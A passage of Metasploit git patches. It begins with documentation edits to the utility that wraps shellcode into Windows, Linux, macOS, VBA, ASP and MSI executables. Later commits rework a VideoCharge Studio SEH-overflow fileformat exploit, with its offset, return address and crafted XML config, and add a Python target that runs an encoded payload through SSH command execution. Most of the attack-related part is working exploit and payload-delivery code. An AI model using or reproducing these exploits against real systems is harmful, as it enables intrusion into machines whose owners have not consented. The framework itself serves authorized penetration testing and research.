the template type for the executable + # @option opts [Hash] :template_path, the path for the template + # @option opts [Hash] :fallback, If there are no options set, default options will be used + # @param exe [String] Template type. If undefined, will use the default. + # @param path [String] Where you would like the template to be saved. def self.set_template_default(opts, exe = nil, path = nil) - # If no path specified, use the default one. + # If no path specified, use the default one path ||= File.join(Msf::Config.data_directory, "templates") # If there's no default name, we must blow it up. @@ -60,6 +63,10 @@ require 'msf/core/exe/segment_appender' end end + # self.read_replace_script_template + # + # @param filename [String] Name of the file + # @param hash_sub [String] def self.read_replace_script_template(filename, hash_sub) template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename) @@ -68,12 +75,16 @@ require 'msf/core/exe/segment_appender' template % hash_sub end - ## - # # Executable generators # - ## - + # + # @param arch [String] The architecture of the system (i.e x86, x64) + # @param plat [String] The platform (i.e Linux, Windows, OSX) + # @param code [String] + # @param opts [Hash] The options hash + # @param framework [Msf::Framework] The framework of you want to use + # @return [String] + # @return [NilClass] def self.to_executable(framework, arch, plat, code = '', opts = {}) if arch.index(ARCH_X86) @@ -154,9 +165,10 @@ require 'msf/core/exe/segment_appender' end # Clears the DYNAMIC_BASE flag for a Windows executable - # @param exe [String] The raw executable to be modified by the method - # @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file - # @return [String] the modified executable + # + # @param exe [String] The raw executable to be modified by the method + # @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file + # @return [String] the modified executable def self.clear_dynamic_base(exe, pe) c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse c_bits[6] = 0 # DYNAMIC_BASE @@ -169,6 +181,16 @@ require 'msf/core/exe/segment_appender' exe end + # self.to_win32pe + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option opts [String] :sub_method + # @option opts [String] :inject, Code to inject into the exe + # @option opts [String] :template + # @option opts [String] :arch, Set to x86 by default + # @return [String] def self.to_win32pe(framework, code, opts = {}) # For backward compatability, this is roughly equivalent to 'exe-small' fmt @@ -313,6 +335,12 @@ require 'msf/core/exe/segment_appender' exe end + # self.to_winpe_only + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @param arch [String] Default is "x86" def self.to_winpe_only(framework, code, opts = {}, arch="x86") arch = ARCH_X64 if arch == ARCH_X86_64 @@ -378,6 +406,11 @@ require 'msf/core/exe/segment_appender' exe end + # self.to_win32pe_old + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] def self.to_win32pe_old(framework, code, opts = {}) payload = code.dup @@ -431,9 +464,8 @@ require 'msf/core/exe/segment_appender' # Splits a string into a number of assembly push operations # - # @param string [String] string to be used - # - # @return [String] null terminated string as assembly push ops + # @param string [String] String to be used + # @return [String] null terminated string as assembly push ops def self.string_to_pushes(string) str = string.dup # Align string to 4 bytes @@ -455,6 +487,14 @@ require 'msf/core/exe/segment_appender' pushes end + # self.exe_sub_method + # + # @param code [String] + # @param opts [Hash] + # @option opts [Hash] :exe_type + # @option opts [Hash] :service_exe + # @option opts [Hash] :sub_method + # @return [String] def self.exe_sub_method(code,opts ={}) pe = self.get_file_contents(opts[:template]) @@ -504,6 +544,12 @@ require 'msf/core/exe/segment_appender' pe end + # self.to_win32pe_exe_sub + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @return [String] def self.to_win32pe_exe_sub(framework, code, opts = {}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.exe") @@ -511,6 +557,12 @@ require 'msf/core/exe/segment_appender' exe_sub_method(code,opts) end + # self.to_win64pe + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @return [String] def self.to_win64pe(framework, code, opts = {}) # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") @@ -537,12 +589,12 @@ require 'msf/core/exe/segment_appender' # Embeds shellcode within a Windows PE file implementing the Windows # service control methods. # - # @param framework [Object] - # @param code [String] shellcode to be embedded - # @option opts [Boolean] :sub_method use substitution technique with a - # service template PE - # @option opts [String] :servicename name of the service, not used in - # substituion technique + # @param framework [Object] + # @param code [String] shellcode to be embedded + # @option opts [Boolean] :sub_method use substitution technique with a + # service template PE + # @option opts [String] :servicename name of the service, not used in + # substituion technique # # @return [String] Windows Service PE file def self.to_win32pe_service(framework, code, opts = {}) @@ -616,6 +668,16 @@ require 'msf/core/exe/segment_appender' end end + # self.to_win64pe_service + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :service_exe + # @option [String] :dll + # @option [String] :inject + # @return [String] def self.to_win64pe_service(framework, code, opts = {}) # Allow the user to specify their own service EXE template set_template_default(opts, "template_x64_windows_svc.exe") @@ -623,6 +685,15 @@ require 'msf/core/exe/segment_appender' exe_sub_method(code,opts) end + # self.to_win32pe_dll + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :dll + # @option [String] :inject + # @return [String] def self.to_win32pe_dll(framework, code, opts = {}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.dll") @@ -635,6 +706,15 @@ require 'msf/core/exe/segment_appender' end end + # self.to_win64pe_dll + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :dll + # @option [String] :inject + # @return [String] def self.to_win64pe_dll(framework, code, opts = {}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x64_windows.dll") @@ -647,10 +727,14 @@ require 'msf/core/exe/segment_appender' end end + # Wraps an executable inside a Windows .msi file for auto execution when run # - # Wraps an executable inside a Windows - # .msi file for auto execution when run - # + # @param framework [Msf::Framework] The framework of you want to use + # @param exe [String] + # @param opts [Hash] + # @option opts [String] :msi_template_path + # @option opts [String] :msi_template + # @return [String] def self.to_exe_msi(framework, exe, opts = {}) if opts[:uac] opts[:msi_template] ||= "template_windows.msi" @@ -660,6 +744,13 @@ require 'msf/core/exe/segment_appender' replace_msi_buffer(exe, opts) end + #self.replace_msi_buffer + # + # @param pe [String] + # @param opts [String] + # @option [String] :msi_template + # @option [String] :msi_template_path + # @return [String] def self.replace_msi_buffer(pe, opts) opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates") @@ -708,6 +799,13 @@ require 'msf/core/exe/segment_appender' msi end + # self.to_osx_arm_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] def self.to_osx_arm_macho(framework, code, opts = {}) # Allow the user to specify their own template @@ -719,6 +817,13 @@ require 'msf/core/exe/segment_appender' mo end + # self.to_osx_ppc_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] def self.to_osx_ppc_macho(framework, code, opts = {}) # Allow the user to specify their own template @@ -730,6 +835,13 @@ require 'msf/core/exe/segment_appender' mo end + # self.to_osx_x86_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] def self.to_osx_x86_macho(framework, code, opts = {}) # Allow the user to specify their own template @@ -741,6 +853,13 @@ require 'msf/core/exe/segment_appender' mo end + # self.to_osx_x64_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] def self.to_osx_x64_macho(framework, code, opts = {}) set_template_default(opts, "template_x64_darwin.bin") @@ -751,12 +870,13 @@ require 'msf/core/exe/segment_appender' macho end - # @param [Hash] opts the options hash - # @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user) - # @option opts [String] :app_name (random) the name of the OSX app - # @option opts [String] :hidden (true) hide the app when it is running - # @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file - # @return [String] zip archive containing an OSX .app directory + # self.to_osx_app + # @param opts [Hash] The options hash + # @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user) + # @option opts [Hash] :app_name (random) the name of the OSX app + # @option opts [Hash] :hidden (true) hide the app when it is running + # @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file + # @return [String] zip archive containing an OSX .app directory def self.to_osx_app(exe, opts = {}) exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) } app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) } @@ -811,7 +931,13 @@ require 'msf/core/exe/segment_appender' # For user-provided templates, modifies the header to mark all executable # segments as writable and overwrites the entrypoint (usually _start) with # the payload. - # + # @param framework [Msf::Framework] The framework of you want to use + # @param opt [Hash] + # @option [String] :template + # @param template [String] + # @param code [String] + # @param big_endian [Boolean] Set to "false" by default + # @return [String] def self.to_exe_elf(framework, opts, template, code, big_endian=false) # Allow the user to specify their own template @@ -856,6 +982,12 @@ require 'msf/core/exe/segment_appender' end # Create a 32-bit Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_x86_elf(framework, code, opts = {}) default = true unless opts[:template] @@ -894,42 +1026,96 @@ require 'msf/core/exe/segment_appender' end # Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_bsd_x86_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_x86_bsd.bin", code) end # Create a 64-bit Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_bsd_x64_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_x64_bsd.bin", code) end # Create a 32-bit Solaris ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_solaris_x86_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_x86_solaris.bin", code) end # Create a 64-bit Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_x64_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_x64_linux.bin", code) end # Create a 64-bit Linux ELF_DYN containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_x64_elf_dll(framework, code, opts = {}) to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code) end + # self.to_linux_mipsle_elf + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_armle_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_armle_linux.bin", code) end + # self.to_linux_mipsle_elf + # Little Endian + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_mipsle_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_mipsle_linux.bin", code) end + # self.to_linux_mipsbe_elf + # Big Endian + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf def self.to_linux_mipsbe_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true) end + # self.to_exe_vba + # + # @param exes [String] def self.to_exe_vba(exes='') exe = exes.unpack('C*') hash_sub = {} @@ -976,6 +1162,11 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_exe.vba.template", hash_sub) end + # self.to_vba + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] Unused def self.to_vba(framework,code,opts = {}) hash_sub = {} hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize @@ -1003,6 +1194,12 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_mem.vba.template", hash_sub) end + # self.to_powershell_vba + # + # @param framework [Msf::Framework] + # @param arch [String] + # @param code [String] + # def self.to_powershell_vba(framework, arch, code) template_path = File.join(Msf::Config.data_directory, "templates", @@ -1030,6 +1227,13 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_powershell.vba.template", hash_sub) end + # self.to_exe_vba + # + # @param exes [String] + # @param opts [Hash] + # @option opts [String] :delay + # @option opts [String] :persists + # @option opts [String] :exe_filename def self.to_exe_vbs(exes = '', opts = {}) delay = opts[:delay] || 5 persist = opts[:persist] || false @@ -1062,6 +1266,10 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_exe.vbs.template", hash_sub) end + # self.to_exe_asp + # + # @param exes [String] + # @param opts [Hash] Unused def self.to_exe_asp(exes = '', opts = {}) hash_sub = {} hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small @@ -1073,12 +1281,14 @@ require 'msf/core/exe/segment_appender' hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes]) - read_replace_script_template("to_exe.asp.template", hash_sub) end + # self.to_exe_aspx + # + # @param exes [String] + # @option opts [Hash] def self.to_exe_aspx(exes = '', opts = {}) hash_sub = {} hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -1088,9 +1298,7 @@ require 'msf/core/exe/segment_appender' hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file]) - read_replace_script_template("to_exe.aspx.template", hash_sub) end @@ -1272,7 +1480,6 @@ require 'msf/core/exe/segment_appender' # @option opts (see to_war) # @return (see to_war) def self.to_jsp_war(exe, opts = {}) - # begin <payload>.jsp hash_sub = {} hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -1313,6 +1520,16 @@ require 'msf/core/exe/segment_appender' # at a specified location with read/execute permissions # - the data will be loaded at: base+0x2065 # - default max size is 0x8000 (32768) + # @param base [Integer] Default location set to base 0x12340000 + # @param data [String] + # @param opts [Hash] + # @option [String] :template + # @option [String] :base_offset + # @option [String] :timestamp_offset + # @option [String] :text_offset + # @option [String] :pack + # @option [String] :uuid_offset + # @return [String] def self.to_dotnetmem(base=0x12340000, data="", opts = {}) # Allow the user to specify their own DLL template @@ -1345,7 +1562,13 @@ require 'msf/core/exe/segment_appender' pe end - + # self.encode_stub + # + # @param framework [Msf::Framework] + # @param arch [String] + # @param code [String] + # @param platform [String] + # @param badchars [String] def self.encode_stub(framework, arch, code, platform = nil, badchars = '') return code unless framework.encoders framework.encoders.each_module_ranked('Arch' => arch) do |name, mod| @@ -1744,7 +1967,7 @@ require 'msf/core/exe/segment_appender' ; pop eax ; Skip pop eax ; Skip popad ; Get our registers back -; sub esp, 44 ; Move stack pointer back past the handler +; sub esp, 44 ; Move stack pointer back past the handler ^ stub_final = %Q^ @@ -1987,6 +2210,9 @@ require 'msf/core/exe/segment_appender' end end + # FMT Formats + # self.to_executable_fmt_formats + # @return [Array] Returns an array of strings def self.to_executable_fmt_formats [ "asp", @@ -2019,7 +2245,7 @@ require 'msf/core/exe/segment_appender' # # EICAR Canary - # + # @return [Boolean] Should return true def self.is_eicar_corrupted? path = ::File.expand_path(::File.join( ::File.dirname(__FILE__),"..", "..", "..", "data", "eicar.com") @@ -2039,12 +2265,22 @@ require 'msf/core/exe/segment_appender' ret end + # self.get_file_contents + # + # @param perms [String] + # @param file [String] + # @return [String] def self.get_file_contents(file, perms = "rb") contents = '' File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)} contents end + # self.find_payload_tag + # + # @param mo [Array] + # @param err_msg [String] + # @return [Fixnum] def self.find_payload_tag(mo, err_msg) bo = mo.index('PAYLOAD:') unless bo From 7f0d992914ffbe0e27070d403df3543cf1c8f8a0 Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Tue, 11 Aug 2015 11:51:52 -0500 Subject: [PATCH 0246/2172] Fixed name typo --- .../{local_exploit_suggestor.rb => local_exploit_suggester.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/post/multi/recon/{local_exploit_suggestor.rb => local_exploit_suggester.rb} (100%) diff --git a/modules/post/multi/recon/local_exploit_suggestor.rb b/modules/post/multi/recon/local_exploit_suggester.rb similarity index 100% rename from modules/post/multi/recon/local_exploit_suggestor.rb rename to modules/post/multi/recon/local_exploit_suggester.rb From 2b225b2e7e5fa1494d20ef642c83703878bf4e0d Mon Sep 17 00:00:00 2001 From: jakxx <jakx.ppr@gmail.com> Date: Wed, 12 Aug 2015 01:34:45 -0400 Subject: [PATCH 0247/2172] Added changes per feedback Updated to include and use seh mixin changed offset and space for reliability got rand_text buffer junk working removed double spaces and stupid fillers in file data --- .../windows/fileformat/videocharge_studio.rb | 31 +++++++++---------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/modules/exploits/windows/fileformat/videocharge_studio.rb b/modules/exploits/windows/fileformat/videocharge_studio.rb index 6c2fe3dd6e..2600407969 100644 --- a/modules/exploits/windows/fileformat/videocharge_studio.rb +++ b/modules/exploits/windows/fileformat/videocharge_studio.rb @@ -9,6 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, @@ -39,6 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'BadChars' => "\x00\x0a\x0d\x3c\x22\x26", 'DisableNops' => true, + 'Space' => 1808 }, 'Targets' => @@ -46,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'VideoCharge Studio 2.12.3.685', { 'Ret' => 0x61B811F1, #p/p/r | zlib1.dll - 'Offset' => 824 + 'Offset' => 2184 } ], ], @@ -63,24 +65,21 @@ class Metasploit3 < Msf::Exploit::Remote buffer = "\x3C\x3F\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30\x22" buffer << "\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x57\x69\x6E\x64\x6F\x77\x73\x2D\x31\x32" buffer << "\x35\x32\x22\x20\x3F\x3E\x3C\x63\x6F\x6E\x66\x69\x67\x20\x76\x65\x72\x3D\x22\x32\x2E" - buffer << "\x31\x32\x2E\x33\x2E\x36\x38\x35\x22\x3E\x0A\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D" - buffer << "\x65\x3D\x22\x46\x69\x6C\x65\x73\x22\x2F\x3E\x0A\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61" - buffer << "\x6D\x65\x3D\x22\x50\x72\x6F\x66\x69\x6C\x65\x73\x22\x3E\x0A\x0A\x3C\x50\x72\x6F\x70" - buffer << "\x65\x72\x74\x79\x20\x6E\x61\x6D\x65\x3D\x22\x50\x72\x6F\x66\x69\x6C\x65\x22\x3E\x0A" + buffer << "\x31\x32\x2E\x33\x2E\x36\x38\x35\x22\x3E\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D" + buffer << "\x65\x3D\x22\x46\x69\x6C\x65\x73\x22\x2F\x3E\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61" + buffer << "\x6D\x65\x3D\x22\x50\x72\x6F\x66\x69\x6C\x65\x73\x22\x3E\x0A\x3C\x50\x72\x6F\x70" + buffer << "\x65\x72\x74\x79\x20\x6E\x61\x6D\x65\x3D\x22\x50\x72\x6F\x66\x69\x6C\x65\x22\x3E" buffer << "\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D\x65\x3D\x22\x46\x6F\x72\x6D\x61\x74\x73\x22" - buffer << "\x3E\x0A\x0A\x3C\x50\x72\x6F\x70\x65\x72\x74\x79\x20\x6E\x61\x6D\x65\x3D\x22\x53\x74" - buffer << "\x72\x65\x61\x6D\x22\x3E\x0A\x0A\x3C\x56\x61\x6C\x75\x65\x20\x6E\x61\x6D\x65\x3D\x22" + buffer << "\x3E\x0A\x3C\x50\x72\x6F\x70\x65\x72\x74\x79\x20\x6E\x61\x6D\x65\x3D\x22\x53\x74" + buffer << "\x72\x65\x61\x6D\x22\x3E\x0A\x3C\x56\x61\x6C\x75\x65\x20\x6E\x61\x6D\x65\x3D\x22" buffer << "\x4E\x61\x6D\x65\x22\x20\x74\x79\x70\x65\x3D\x22\x38\x22\x20\x76\x61\x6C\x75\x65\x3D\x22" - buffer << "\x41" * (target['Offset']-payload.encoded.length) + buffer << rand_text_alpha(target['Offset']) + buffer << generate_seh_record(target.ret) buffer << payload.encoded - buffer << Rex::Arch::X86.jmp_short(6) + make_nops(2) - buffer << [target.ret].pack("V") - buffer << Rex::Arch::X86.jmp('$-444') - buffer << "\x22\x2F\x3E\x0A\x0A\x3C\x2F\x50\x72\x6F\x70\x65\x72\x74\x79\x3E\x0A\x0A\x3C\x2F" - buffer << "\x63\x6F\x6C\x73\x3E\x0A\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D\x65\x3D\x22\x52\x6F" - buffer << "\x6D\x61\x6E\x69\x61\x20\x53\x65\x63\x75\x72\x69\x74\x79\x20\x54\x65\x61\x6D\x22\x2F" - buffer << "\x3E\x0A\x0A\x3C\x2F\x50\x72\x6F\x70\x65\x72\x74\x79\x3E\x0A\x0A\x3C\x2F\x63\x6F\x6C" - buffer << "\x73\x3E\x0A\x0A\x3C\x2F\x63\x6F\x6E\x66\x69\x67\x3E" + buffer << "\x22\x2F\x3E\x0A\x3C\x2F\x50\x72\x6F\x70\x65\x72\x74\x79\x3E\x0A\x3C\x2F" + buffer << "\x63\x6F\x6C\x73\x3E\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D\x65\x3D\x22\x22\x2F" + buffer << "\x3E\x0A\x3C\x2F\x50\x72\x6F\x70\x65\x72\x74\x79\x3E\x0A\x3C\x2F\x63\x6F\x6C" + buffer << "\x73\x3E\x0A\x3C\x2F\x63\x6F\x6E\x66\x69\x67\x3E" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(buffer) From 979d7e6be3f7f3295b720a519c06066d9bc61f03 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 12 Aug 2015 15:37:37 +0200 Subject: [PATCH 0248/2172] improve module --- .../windows/fileformat/videocharge_studio.rb | 50 +++++++++---------- 1 file changed, 23 insertions(+), 27 deletions(-) diff --git a/modules/exploits/windows/fileformat/videocharge_studio.rb b/modules/exploits/windows/fileformat/videocharge_studio.rb index 2600407969..44ba823483 100644 --- a/modules/exploits/windows/fileformat/videocharge_studio.rb +++ b/modules/exploits/windows/fileformat/videocharge_studio.rb @@ -23,8 +23,9 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'metacom', # Original discovery - 'Andrew Smith', # MSF Module + 'metacom', # Original discovery + 'Andrew Smith', # MSF module + 'Christian Mehlmauer' # MSF module ], 'References' => [ @@ -33,17 +34,16 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', + 'EXITFUNC' => 'process' }, 'Platform' => 'win', - 'Payload' => + 'Payload' => { - 'BadChars' => "\x00\x0a\x0d\x3c\x22\x26", + 'BadChars' => "\x00\x0a\x0d\x3c\x22\x26", 'DisableNops' => true, - 'Space' => 1808 + 'Space' => 2808 }, - - 'Targets' => + 'Targets' => [ [ 'VideoCharge Studio 2.12.3.685', { @@ -62,28 +62,24 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - buffer = "\x3C\x3F\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30\x22" - buffer << "\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x57\x69\x6E\x64\x6F\x77\x73\x2D\x31\x32" - buffer << "\x35\x32\x22\x20\x3F\x3E\x3C\x63\x6F\x6E\x66\x69\x67\x20\x76\x65\x72\x3D\x22\x32\x2E" - buffer << "\x31\x32\x2E\x33\x2E\x36\x38\x35\x22\x3E\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D" - buffer << "\x65\x3D\x22\x46\x69\x6C\x65\x73\x22\x2F\x3E\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61" - buffer << "\x6D\x65\x3D\x22\x50\x72\x6F\x66\x69\x6C\x65\x73\x22\x3E\x0A\x3C\x50\x72\x6F\x70" - buffer << "\x65\x72\x74\x79\x20\x6E\x61\x6D\x65\x3D\x22\x50\x72\x6F\x66\x69\x6C\x65\x22\x3E" - buffer << "\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D\x65\x3D\x22\x46\x6F\x72\x6D\x61\x74\x73\x22" - buffer << "\x3E\x0A\x3C\x50\x72\x6F\x70\x65\x72\x74\x79\x20\x6E\x61\x6D\x65\x3D\x22\x53\x74" - buffer << "\x72\x65\x61\x6D\x22\x3E\x0A\x3C\x56\x61\x6C\x75\x65\x20\x6E\x61\x6D\x65\x3D\x22" - buffer << "\x4E\x61\x6D\x65\x22\x20\x74\x79\x70\x65\x3D\x22\x38\x22\x20\x76\x61\x6C\x75\x65\x3D\x22" - buffer << rand_text_alpha(target['Offset']) + buffer = rand_text_alpha(target['Offset']) buffer << generate_seh_record(target.ret) buffer << payload.encoded - buffer << "\x22\x2F\x3E\x0A\x3C\x2F\x50\x72\x6F\x70\x65\x72\x74\x79\x3E\x0A\x3C\x2F" - buffer << "\x63\x6F\x6C\x73\x3E\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D\x65\x3D\x22\x22\x2F" - buffer << "\x3E\x0A\x3C\x2F\x50\x72\x6F\x70\x65\x72\x74\x79\x3E\x0A\x3C\x2F\x63\x6F\x6C" - buffer << "\x73\x3E\x0A\x3C\x2F\x63\x6F\x6E\x66\x69\x67\x3E" - print_status("Creating '#{datastore['FILENAME']}' file ...") - file_create(buffer) + file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.12.3.685"> +<cols name="Files"/> +<cols name="Profiles"> +<Property name="Profile"> +<cols name="Formats"> +<Property name="Stream"> +<Value name="Name" type="8" value="#{buffer}"/> +</Property> +</cols> +</Property> +</cols> +</config>| + + file_create(file) end end - From dfe2bbf1e9fe85ba79c2f4e3f6bc63dd6036be4b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed, 12 Aug 2015 15:46:47 -0400 Subject: [PATCH 0249/2172] Add a python target to the sshexec module --- modules/exploits/multi/ssh/sshexec.rb | 58 ++++++++++++++++----------- 1 file changed, 35 insertions(+), 23 deletions(-) diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index fe6d7c1d67..0e708a6f59 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -15,56 +15,62 @@ class Metasploit3 < Msf::Exploit::Remote def initialize super( - 'Name' => 'SSH User Code Execution', - 'Description' => %q{ - This module utilizes a stager to upload a base64 encoded + 'Name' => 'SSH User Code Execution', + 'Description' => %q{ + This module utilizes a stager to upload an encoded binary which is then decoded, chmod'ed and executed from the command shell. }, - 'Author' => ['Spencer McIntyre', 'Brandon Knight'], - 'References' => + 'Author' => ['Spencer McIntyre', 'Brandon Knight'], + 'References' => [ [ 'CVE', '1999-0502'] # Weak password ], - 'License' => MSF_LICENSE, - 'Privileged' => true, - 'DefaultOptions' => + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'DefaultOptions' => { - 'PrependFork' => 'true', - 'EXITFUNC' => 'process' + 'PrependFork' => 'true', + 'EXITFUNC' => 'process' }, - 'Payload' => + 'Payload' => { - 'Space' => 4096, - 'BadChars' => "", - 'DisableNops' => true + 'Space' => 4096, + 'BadChars' => "", + 'DisableNops' => true }, - 'Platform' => %w{ linux osx }, - 'Targets' => + 'Platform' => %w{ linux osx python }, + 'Targets' => [ [ 'Linux x86', { - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Linux x64', { - 'Arch' => ARCH_X86_64, + 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ], [ 'OSX x86', { - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86, 'Platform' => 'osx' } + ], + [ 'Python', + { + 'Arch' => ARCH_PYTHON, + 'Platform' => 'python' + } ] ], - 'CmdStagerFlavor' => %w{ bourne echo printf }, - 'DefaultTarget' => 0, + 'CmdStagerFlavor' => %w{ bourne echo printf }, + 'DefaultTarget' => 0, # For the CVE - 'DisclosureDate' => 'Jan 01 1999' + 'DisclosureDate' => 'Jan 01 1999' ) register_options( @@ -128,6 +134,12 @@ class Metasploit3 < Msf::Exploit::Remote do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT']) print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...") - execute_cmdstager({:linemax => 500}) + if target['Platform'] == 'python' + execute_command("python -c \"#{payload.encoded}\"") + else + execute_cmdstager({:linemax => 500}) + end + + self.ssh_socket.close end end From 